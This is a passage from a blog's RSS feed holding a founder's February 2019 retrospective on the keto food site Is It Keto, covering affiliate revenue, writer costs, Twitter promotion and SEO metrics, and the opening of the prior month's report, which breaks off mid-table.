&lt;p>At the start of the month, I laid out some high-level goals. Here&amp;rsquo;s how I did against those goals.&lt;/p>
&lt;p>&lt;strong>Achieve $60 in revenue&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned ~$11 in revenue (&lt;font color="red">82% below target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>Amazon Affiliate revenue continues to be bursty. A single purchase through one of my affiliate links can yield anywhere from $0.50 to $20. Revenues did not grow the way I hoped, and so I finished the month with a meager $11.&lt;/p>
&lt;p>&lt;strong>Add 30 new food pages&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added 30 new food pages (&lt;font color="green">on target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B+&lt;/li>
&lt;/ul>
&lt;p>I hit the target, but just barely, and I didn&amp;rsquo;t keep quality as high as I wanted. I expected to ramp up a second writer, but they didn&amp;rsquo;t work out, so I had to scramble in the last few days of the month to fill the gap.&lt;/p>
&lt;p>&lt;strong>Reduce average cost per article&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Still working on it.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s hard to say because I wasn&amp;rsquo;t collecting fine-grained metrics in January, but I estimated that I was spending about $65/article. In February, I got costs down to $46/article for one of my writers but spent $300 trying to train another writer who only produced one article.&lt;/p>
&lt;h2 id="stats-and-metrics">Stats and Metrics&lt;/h2>
&lt;h3 id="amazon-affiliate-stats">Amazon Affiliate Stats&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/03/amazon-earnings-2019-02.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/03/amazon-earnings-2019-02_hu_393129191ccb56d8.jpg 300w, https://mtlynch.io/retrospectives/2019/03/amazon-earnings-2019-02_hu_f4009de8ffa6cb36.jpg 600w, https://mtlynch.io/retrospectives/2019/03/amazon-earnings-2019-02_hu_e2a69cbfe943e696.jpg 800w, https://mtlynch.io/retrospectives/2019/03/amazon-earnings-2019-02.jpg 950w'
 src="https://mtlynch.io/retrospectives/2019/03/amazon-earnings-2019-02.jpg" alt="Amazon Earnings - Feb. 2019" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon affiliate earnings - February 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2019&lt;/th>
 &lt;th>February 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Total Earnings&lt;/td>
 &lt;td>$23.37&lt;/td>
 &lt;td>~$11&lt;/td>
 &lt;td>&lt;font color="red">-$12.37 (-47%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Clicks&lt;/td>
 &lt;td>73&lt;/td>
 &lt;td>371&lt;/td>
 &lt;td>&lt;font color="green">+298 (+408%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Conversion&lt;/td>
 &lt;td>23.29%&lt;/td>
 &lt;td>???&lt;/td>
 &lt;td>???&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Things looked good at the start of the month. I mentioned Is It Keto in &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">an article on my personal blog&lt;/a>, and that post &lt;a href="https://news.ycombinator.com/item?id=19054150">reached the front page of Hacker News&lt;/a>. It was a one-time bump, but it was a nice boost for affiliate revenue for the week. Then, I realized I mixed up my tracking IDs.&lt;/p>
&lt;p>I use a single Amazon account for all of my projects, but each of my websites has its own unique tracking ID so that I can see revenue on a per-site basis. When you create an Amazon Affiliate link, it auto-populates the tracking ID with whatever you used last. I had been generating lots of links for Is It Keto, so I didn&amp;rsquo;t notice that when I generated a link for &lt;a href="https://smile.amazon.com/4-Hour-Workweek-Escape-Live-Anywhere/dp/0307465357/">&lt;em>Four Hour Work Week&lt;/em>&lt;/a> on my blog, I forgot to change the tracking ID.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/03/amazon-affiliate-screwup.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/03/amazon-affiliate-screwup_hu_c373132c881168e2.jpg 300w, https://mtlynch.io/retrospectives/2019/03/amazon-affiliate-screwup_hu_84749112c1f6936.jpg 600w, https://mtlynch.io/retrospectives/2019/03/amazon-affiliate-screwup_hu_f4ca9ba42ec08c32.jpg 800w, https://mtlynch.io/retrospectives/2019/03/amazon-affiliate-screwup.jpg 888w'
 src="https://mtlynch.io/retrospectives/2019/03/amazon-affiliate-screwup.jpg" alt="Generating an Amazon Affiliate link" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I forgot to change my tracking ID, leading to accounting confusion for Is It Keto&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This meant that ~50 affiliate clicks through my blog were accidentally mixed in with Is It Keto before I &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/362">fixed the issue&lt;/a> on Feb. 6th. I can&amp;rsquo;t track which link generated what revenue, but I know $28.68 in revenue for the month came from that one-week period. My true revenue might be as little as $2.78 or as high as $31.46. I&amp;rsquo;m going to take an educated guess and say that the mistake bumped Is It Keto&amp;rsquo;s earnings by about $20, so the real revenue was probably about $11.&lt;/p>
&lt;p>I&amp;rsquo;ve since added a &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/368">build check&lt;/a> to my blog to prevent a screwup like this in the future.&lt;/p>
&lt;p>In any case, even an optimistic revenue of $30 is still far below my target of $60. Is It Keto needs more revenue quickly if it&amp;rsquo;s going to be a viable business.&lt;/p>
&lt;h3 id="visitor-stats">Visitor Stats&lt;/h3>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/03/ga-2019-02-trailing-12.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/03/ga-2019-02-trailing-12_hu_c98ce945857cab48.jpg 300w, https://mtlynch.io/retrospectives/2019/03/ga-2019-02-trailing-12_hu_c851e405a28f9a04.jpg 600w, https://mtlynch.io/retrospectives/2019/03/ga-2019-02-trailing-12.jpg 796w'
 src="https://mtlynch.io/retrospectives/2019/03/ga-2019-02-trailing-12.jpg" alt="Google Analytics screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>User sessions - March 2018 through February 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2019&lt;/th>
 &lt;th>February 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>2,608&lt;/td>
 &lt;td>2,687&lt;/td>
 &lt;td>&lt;font color="green">+79 (+3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>7,614&lt;/td>
 &lt;td>8,500&lt;/td>
 &lt;td>&lt;font color="green">+886 (+12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from organic search&lt;/td>
 &lt;td>2,054&lt;/td>
 &lt;td>1,998&lt;/td>
 &lt;td>&lt;font color="red">-56 (-3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from Facebook&lt;/td>
 &lt;td>210&lt;/td>
 &lt;td>18&lt;/td>
 &lt;td>&lt;font color="red">-192 (-91%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Referrals from Twitter&lt;/td>
 &lt;td>374&lt;/td>
 &lt;td>307&lt;/td>
 &lt;td>&lt;font color="red">-67 (-18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Visitor growth flattened out in February, although it&amp;rsquo;s not as flat as it seems.&lt;/p>
&lt;p>Many people begin diets as part of their new year&amp;rsquo;s resolution but then lose interest a few weeks later. According to Google Trends, search interest for &amp;ldquo;keto&amp;rdquo; dropped by 25% between January and February:&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 563px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/03/gtrends-keto.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 563px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/03/gtrends-keto_hu_df0354bc80a06ab1.jpg 300w, https://mtlynch.io/retrospectives/2019/03/gtrends-keto.jpg 563w'
 src="https://mtlynch.io/retrospectives/2019/03/gtrends-keto.jpg" alt="Google Analytics screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Search interest over for keyword &amp;lsquo;keto&amp;rsquo; between January and February 2018&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In addition, February is just a shorter month than January by about 10%.&lt;/p>
&lt;p>I consider it a win that February&amp;rsquo;s traffic roughly matched the previous month despite all of January&amp;rsquo;s unfair advantages.&lt;/p>
&lt;p>Referrals from Facebook shrank to almost nothing, as I stopped promoting the site there in January. Referrals from Twitter shrank as well, which is surprising given that I increased investment there (more on that &lt;a href="#twitter-on-auto-pilot-but-its-not-scaling">below&lt;/a>).&lt;/p>
&lt;h3 id="seo-stats">SEO Stats&lt;/h3>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/03/google-search-console.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/03/google-search-console_hu_2d6b57ec8703cbc2.jpg 300w, https://mtlynch.io/retrospectives/2019/03/google-search-console_hu_179a8e8c31c72120.jpg 600w, https://mtlynch.io/retrospectives/2019/03/google-search-console.jpg 794w'
 src="https://mtlynch.io/retrospectives/2019/03/google-search-console.jpg" alt="Google Search Console screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Google Search Console - Dec. 2018 to Feb. 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2019&lt;/th>
 &lt;th>February 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Google-indexed pages&lt;/td>
 &lt;td>49&lt;/td>
 &lt;td>93&lt;/td>
 &lt;td>&lt;font color="green">+44 (+90%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Google indexed vs. excluded pages&lt;/td>
 &lt;td>72.1%&lt;/td>
 &lt;td>65.0%&lt;/td>
 &lt;td>&lt;font color="red">-7.1 (-9.8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>9&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>&lt;font color="green">+1&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Linking Domains (Moz)&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>17&lt;/td>
 &lt;td>99&lt;/td>
 &lt;td>&lt;font color="green">+82 (+482%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The growth in indexed pages and ranking keywords are encouraging. The big problems are in my domain authority and linking domains. 10 is a pathetically low domain authority, which means that Google will deprioritize me in search results until I can get other sites to link to me.&lt;/p>
&lt;h3 id="finances">Finances&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>January 2019&lt;/th>
 &lt;th>February 2019&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Amazon Affiliate revenue&lt;/td>
 &lt;td>$23&lt;/td>
 &lt;td>$11&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Content writers&lt;/td>
 &lt;td>&lt;font color="red">-$1,072&lt;/font>&lt;/td>
 &lt;td>&lt;font color="red">-$893&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Twitter manager&lt;/td>
 &lt;td>&lt;font color="red">-$65&lt;/font>&lt;/td>
 &lt;td>&lt;font color="red">-$144&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$1,114&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$1,026&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I&amp;rsquo;m still losing a lot of money, but I&amp;rsquo;m losing slightly less than I did in January, so&amp;hellip; yay?&lt;/p>
&lt;h3 id="diving-into-my-content-costs">Diving into my content costs&lt;/h3>
&lt;p>Content is still my biggest cost. I recognized the same thing in January, so in February, I put more effort into tracking costs at a more granular level:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>&lt;/th>
 &lt;th>Writer A&lt;/th>
 &lt;th>Writer B&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Rate&lt;/td>
 &lt;td>$20/hr&lt;/td>
 &lt;td>$60/hr&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hours worked&lt;/td>
 &lt;td>27.5&lt;/td>
 &lt;td>5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total cost&lt;/td>
 &lt;td>$550&lt;/td>
 &lt;td>$300&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Articles produced&lt;/td>
 &lt;td>12&lt;/td>
 &lt;td>1&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>$/article&lt;/td>
 &lt;td>$46&lt;/td>
 &lt;td>$300&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total amount of my time spent editing/communicating&lt;/td>
 &lt;td>7.5 hours&lt;/td>
 &lt;td>&lt;em>didn&amp;rsquo;t track&lt;/em>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>My time per article&lt;/td>
 &lt;td>37.5 minutes/article&lt;/td>
 &lt;td>&lt;em>didn&amp;rsquo;t track&lt;/em>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I&amp;rsquo;ve been working with Writer A since January. They produce good work, but I still spend a few hours per week editing their writing to get quality to the level I want.&lt;/p>
&lt;p>Writer B was a new writer I hired on a trial basis. They were much more expensive but claimed they could produce articles faster and without the need for editing. Their &lt;a href="https://isitketo.org/spinach">first article&lt;/a> was especially good, but it took them three hours ($180) to write. That was slower than I expected, but I figured that it took a few hours to ramp up on keto and learn my style guide. I assigned them a second article, which took two hours for the first draft and was much lower in quality. I dismissed them at that point and never published the second article.&lt;/p>
&lt;p>It&amp;rsquo;s interesting looking at this breakdown because I felt like writer A was at least saving me time, but now I&amp;rsquo;m not so sure. I estimate that writing the articles myself would cost me 45-60 minutes per article.&lt;/p>
&lt;p>On the other hand, I find writing the articles mentally draining. 1-2 hours of writing per day is about all I can handle, so if I wrote one Is It Keto article per day, that would be the bulk of my cognitive capacity for the month.&lt;/p>
&lt;p>Editing is easier than writing original articles, so I&amp;rsquo;m saving mental energy by hiring writers, but I&amp;rsquo;m also paying mental energy in the complexities of managing a writer. It&amp;rsquo;s tough to say whether outsourcing is the right move here. I&amp;rsquo;m going to scale down investment in content in March so that I can focus on building backlinks.&lt;/p>
&lt;h3 id="twitter-on-auto-pilot-but-its-not-scaling">Twitter on auto-pilot, but it&amp;rsquo;s not scaling&lt;/h3>
&lt;p>In January, I &lt;a href="https://mtlynch.io/retrospectives/2019/02/#outsourcing-twitter">hired a low-cost social media manager&lt;/a> to reply with stock responses from the &lt;a href="https://twitter.com/HeyIsItKeto">Is It Keto Twitter&lt;/a> when other Twitter users use the #keto hashtag. That continues to attract new followers, but it didn&amp;rsquo;t scale the way that I expected. The site had 217 Twitter followers at the start of the month and ended with 368: a 70% increase in followers. However, my visits from Twitter dropped by 18% in the same period. I was hoping for visitors to grow linearly with my number of followers, but that seems not to be the case.&lt;/p>
&lt;p>In January, I was still writing original tweets to promote different articles from the Is It Keto account:&lt;/p>
&lt;blockquote class="twitter-tweet" data-lang="en">&lt;p lang="en" dir="ltr">Not all nuts and seeds are &lt;a href="https://twitter.com/hashtag/keto?src=hash&amp;amp;ref_src=twsrc%5Etfw">#keto&lt;/a> friendly. Do David Sunflower Seeds (&lt;a href="https://twitter.com/EatSpitHappy?ref_src=twsrc%5Etfw">@EatSpitHappy&lt;/a>) make the cut? &lt;a href="https://t.co/g45gvXNL9X">https://t.co/g45gvXNL9X&lt;/a> &lt;a href="https://t.co/TOXKaAIBY0">pic.twitter.com/TOXKaAIBY0&lt;/a>&lt;/p>&amp;mdash; Is It Keto? (@HeyIsItKeto) &lt;a href="https://twitter.com/HeyIsItKeto/status/1091046712381239296?ref_src=twsrc%5Etfw">January 31, 2019&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8">&lt;/script>
&lt;p>In February, I asked my main writer to take over the task of writing per-article tweets. She produces 16-18 tweets per hour, and hers perform about the same as the ones I write myself. I was happy to outsource this, as it was creatively draining to come up with short, snappy tweets. My quality bar for tweets is much lower than for permanent articles on the site, so I don&amp;rsquo;t have to spend time editing my writer&amp;rsquo;s output the same way I do with my website content.&lt;/p>
&lt;p>Now, I&amp;rsquo;ve delegated away all of my Twitter work, but it doesn&amp;rsquo;t seem to be the right channel to invest in. I paid $144 to my Twitter manager, $40 to my writer, and received 307 clicks, so I&amp;rsquo;m running at $1.67 per click. This doesn&amp;rsquo;t seem worth it, given that I&amp;rsquo;m earning far less than that per visit. In March, I&amp;rsquo;m going to scale down my Twitter investment by 50% and see how it affects follower growth and referrals.&lt;/p>
&lt;h3 id="increasing-pages-per-session-maybe">Increasing pages per session (maybe)&lt;/h3>
&lt;p>Is It Keto doesn&amp;rsquo;t make it easy for users to browse around the full list of articles. Initially, this was by design. When I launched the site, I wanted to hide how small the food database was.&lt;/p>
&lt;p>Now that the site has over 160 foods, I&amp;rsquo;m thinking about how to make the pages more discoverable. The obvious option is to allow users to browse by category (e.g., &amp;ldquo;vegetables,&amp;rdquo; &amp;ldquo;desserts&amp;rdquo;). But it would take a week or more of dev time to implement a category system and associated pages for displaying them. As a quicker solution, I added a small box at the end of each article labeled &amp;ldquo;Other Keto Foods You May Enjoy&amp;rdquo;:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/03/other-foods.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/03/other-foods_hu_8c3e98d367f52fa9.jpg 300w, https://mtlynch.io/retrospectives/2019/03/other-foods_hu_df1599acf76d14c1.jpg 600w, https://mtlynch.io/retrospectives/2019/03/other-foods_hu_9cb8e032a7d5ab31.jpg 800w, https://mtlynch.io/retrospectives/2019/03/other-foods.jpg 1021w'
 src="https://mtlynch.io/retrospectives/2019/03/other-foods.jpg" alt="Screenshot of Other Foods widget on Is It Keto" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Other Foods section of Is It Keto&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The box displays three random keto foods. Well, not completely random. It randomly samples the foods from among the keto foods where I have a link to buy the product on Amazon.&lt;/p>
&lt;p>I can&amp;rsquo;t tell if this made any real difference. I implemented the change on Feb. 11th, but any change that occurred is still within the noise of my metrics:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 783px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/03/pages-per-session.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 783px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/03/pages-per-session_hu_97ad9789b931a20e.jpg 300w, https://mtlynch.io/retrospectives/2019/03/pages-per-session_hu_6e0b851a680368cd.jpg 600w, https://mtlynch.io/retrospectives/2019/03/pages-per-session.jpg 783w'
 src="https://mtlynch.io/retrospectives/2019/03/pages-per-session.jpg" alt="Google Analytics pages per session" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Pages per session before and after &amp;lsquo;Other Foods&amp;rsquo; section&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="my-hail-mary-data-visualizations">My hail mary: data visualizations&lt;/h3>
&lt;p>Is It Keto&amp;rsquo;s biggest limiting factor is its domain authority, which continues to hover at a paltry score of 10 (out of a log scale of 100). With so much of the site&amp;rsquo;s traffic depending on search engine rank, I need more high-ranking sites linking to Is It Keto. The problem now is that none of the content appeals to other sites. A popular nutrition or keto website would never link to &lt;a href="https://isitketo.org/apples">IsItKeto&amp;rsquo;s apples&lt;/a> page, for example, because it&amp;rsquo;s nothing sensational or surprising.&lt;/p>
&lt;p>My plan is to write blog posts on Is It Keto using recipe data from &lt;a href="https://recipe-search.isitketo.org">KetoHub&lt;/a> to make interesting visualizations about trends in keto. For example, here&amp;rsquo;s a rough draft of a bubble cloud I made showing the most popular ingredients in over 4,500 different keto recipes:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/03/ingredients-rough.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/03/ingredients-rough_hu_c2d106d598f7aa95.jpg 300w, https://mtlynch.io/retrospectives/2019/03/ingredients-rough_hu_c6731d785624ad8c.jpg 600w, https://mtlynch.io/retrospectives/2019/03/ingredients-rough_hu_5d2dd8495193fb16.jpg 800w, https://mtlynch.io/retrospectives/2019/03/ingredients-rough.jpg 1112w'
 src="https://mtlynch.io/retrospectives/2019/03/ingredients-rough.jpg" alt="Bubble cloud of ingredient frequency" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Ingredient frequency in 4,500 keto recipes from the most popular keto websites&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s a longshot because keto websites don&amp;rsquo;t often link to other keto sites, but it&amp;rsquo;s the best idea I can come up with that I can complete in under one month. If I can produce interesting visualizations and get other high-ranking sites to link to my blog posts, then I&amp;rsquo;ll increase the site&amp;rsquo;s domain authority and drastically increase site traffic.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Added an &amp;ldquo;Other Foods&amp;rdquo; section to the article pages so that users can easily discover new articles&lt;/li>
&lt;li>Added an admin tool that lets me add redirects for alternative spellings of foods (e.g., &lt;code>mayo&lt;/code> -&amp;gt; &lt;a href="https://isitketo.org/mayonnaise">&lt;code>mayonnaise&lt;/code>&lt;/a>)
&lt;ul>
&lt;li>Previously I was doing this in a hacky way that required me to change the source code and re-deploy the entire site&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Wrote tools to collect keto recipe data for upcoming data visualization blog posts&lt;/li>
&lt;li>Published 30 new food pages&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>After taking into account the time I spend editing and communicating with writers, I&amp;rsquo;m not saving time by outsourcing content writing.&lt;/p>
&lt;ul>
&lt;li>I likely still am saving mental energy, which is always a precious resource.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>I can outsource Twitter promotion tasks cleanly and efficiently.&lt;/p>
&lt;ul>
&lt;li>Still, Twitter&amp;rsquo;s not earning me a return on investment, so I&amp;rsquo;m going to scale down.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;p>February was my third month of monetizing Is It Keto and giving it my full-time focus. It wasn&amp;rsquo;t earning big money out of the gate, but its growth in December and January gave me hope that it was on the path to a viable business. The slowdown in February was a big red flag and might be an indication that I should shelve this project so that I can focus on something new.&lt;/p>
&lt;p>My goals for March are &lt;strong>critical goals&lt;/strong>. If I don&amp;rsquo;t achieve them, I&amp;rsquo;ll put the project on the backburner:&lt;/p>
&lt;ul>
&lt;li>Achieve $100 in revenue&lt;/li>
&lt;li>Receive links from two websites with a Moz Domain Authority of at least 40&lt;/li>
&lt;li>Add 10 new pages for different foods&lt;/li>
&lt;/ul></content:encoded></item><item><title>Is It Keto: Month 5</title><link>https://mtlynch.io/retrospectives/2019/02/</link><pubDate>Wed, 06 Feb 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/02/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&amp;rsquo;s user visits continued to grow rapidly.&lt;/li>
&lt;li>Revenues increased substantially from the previous month but missed targets for January.&lt;/li>
&lt;li>I figured out an easy and inexpensive way to attract users via Twitter.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of the month, I laid out some high-level goals. Here&amp;rsquo;s how I did against those goals.&lt;/p>
&lt;p>&lt;strong>Achieve $50 in revenue&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned $23.37 in revenue (&lt;font color="red">53% below target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>Revenue is growing more slowly than I expected. Almost 80% of the revenue came from a single order because the person bought some high-ticket items after clicking an affiliate link, but this doesn&amp;rsquo;t feel like something I can rely on.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&amp;rsquo;s user visits continued to grow rapidly.&lt;/li>
&lt;li>Revenues increased substantially from the previous month but missed targets for January.&lt;/li>
&lt;li>I figured out an easy and inexpensive way to attract users via Twitter.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of the month, I laid out some high-level goals. Here&amp;rsquo;s how I did against those goals.&lt;/p>
&lt;p>&lt;strong>Achieve $50 in revenue&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned $23.37 in revenue (&lt;font color="red">53% below target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>Revenue is growing more slowly than I expected. Almost 80% of the revenue came from a single order because the person bought some high-ticket items after clicking an affiliate link, but this doesn&amp;rsquo;t feel like something I can rely on.&lt;/p>
&lt;p>&lt;strong>Add 75 new food pages&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added 56 new food pages (&lt;font color="red">25% below target&lt;/font>)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I expected freelance writers do a lot of the heavy lifting here, but there was a longer learning curve than I expected, so I ended up having to write the bulk of these myself.&lt;/p>
&lt;p>&lt;strong>Hire a reliable content writer&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Still working on it.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I did find a reliable writer, but it still takes me almost as long to edit their writing as it would to write the content myself. I&amp;rsquo;m still trying to find ways to reduce costs and eliminate the need for so much editing.&lt;/p>
&lt;h2 id="stats-and-metrics">Stats and Metrics&lt;/h2>
&lt;h3 id="amazon-affiliate-stats">Amazon Affiliate Stats&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/02/amazon-earnings-2019-01.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/02/amazon-earnings-2019-01_hu_652b97eb772ca00c.jpg 300w, https://mtlynch.io/retrospectives/2019/02/amazon-earnings-2019-01_hu_c96754df50e1c7a7.jpg 600w, https://mtlynch.io/retrospectives/2019/02/amazon-earnings-2019-01_hu_c9eea256d86c672d.jpg 800w, https://mtlynch.io/retrospectives/2019/02/amazon-earnings-2019-01.jpg 952w'
 src="https://mtlynch.io/retrospectives/2019/02/amazon-earnings-2019-01.jpg" alt="Amazon Earnings - Jan. 2019" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon affiliate earnings - January, 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
